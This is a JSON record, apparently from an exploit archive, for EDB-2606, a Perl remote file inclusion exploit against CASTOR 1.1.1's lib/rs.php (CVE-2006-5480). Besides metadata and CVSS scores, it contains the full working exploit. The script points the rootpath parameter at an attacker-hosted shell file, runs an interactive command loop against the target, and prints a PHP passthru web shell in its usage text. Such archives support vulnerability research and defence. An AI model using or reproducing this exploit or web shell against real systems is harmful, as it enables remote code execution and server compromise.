{"exploit":{"id":"EDB-2606","name":"CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion (RFI)","description":"CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion (RFI)","cves":["CVE-2006-5480"],"author":"Kw3[R]Ln","published":"2006-10-21","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2606","path":"exploits/php/webapps/2606.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2606.pl","vulnerabilities":[{"id":"CVE-2006-5480","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in lib/rs.php in 2le.net Castor PHP Web Builder 1.1.1 allows remote attackers to execute arbitrary PHP code via the rootpath parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5480","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5480"},"updatedAt":"2024-08-07T19:55:52.642Z","retrievedAt":"2026-11-27T08:12:36.233Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2606.png?v=2","url":"https://exploitbin.com/exploits/EDB-2606","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2606/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2606/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# CASTOR <= 1.1.1 Remote Command Execution Vulnerability\n#\n# Risk : High (Remote Code Execution)\n#\n# Url: svn.gna.org/svn/castor/trunk\n#\n# Exploit:\n#   http://www.site.com/[path]/lib/rs.php?rootpath=[Evil_Script]\n#\n# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>\n#\n#  Romanian Security Team .: hTTp://RST-CREW.NET :.\n#\n# Shoutz to [Oo], str0ke, th0r and all members of RST !\n\nuse LWP::Simple;\n\nprint \"...........................[RST]...............................\\n\";\nprint \".                                                             .\\n\";\nprint \".  CASTOR <= 1.1.1 Remote Command Execution Vulnerability     .\\n\";\nprint \".                                                             .\\n\";\nprint \"...............................................................\\n\";\nprint \".       Romanian Security Team -> hTTp://RST-CREW.NET         .\\n\";\nprint \".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\\n\";\nprint \"...............................................................\\n\\n\";\n\nmy $kw3,$path,$shell,$conexiune,$cmd,$data ;\n\n\nif ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}\n\n$path = $ARGV[0];\nchomp($path);\n$shell = $ARGV[1];\nchomp($shell);\n\n$path = $path.\"/lib/rs.php\";\n\n\nsub usage(){\n\tprint \"Usage    : perl $0 host/path http://site.com/cmd.txt\\n\\n\";\n\tprint \"Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\\n\\n\";\n        print 'Shell    : <?php ob_clean();ini_set(\"max_execution_time\",0);passthru($_GET[\"cmd\"]);die;?>';\n           }\n\nwhile ()\n{\nprint \"[kw3rln].[rst] :~\\$ \";\nchomp($cmd=<STDIN>);\nif ($cmd eq \"exit\") { exit(0);}\n\n$kw3 = $path.\"?rootpath=\".$shell.\"?&cmd=\".$cmd;\nif ($cmd eq \"\")\n  { print \"Enter your command !\\n\"; }\nelse\n  { $data=get($kw3); print $data ; }\n\n}\n\n# milw0rm.com [2006-10-21]","sha256":"6c79b22e9955c408c6b7731c9c414d519822b6a294045c52bc8dba179ef767f7","bytes":1769,"fetchedAt":"2026-11-27T08:12:31.682Z","encoding":"utf-8 (display only; download retains original bytes)"}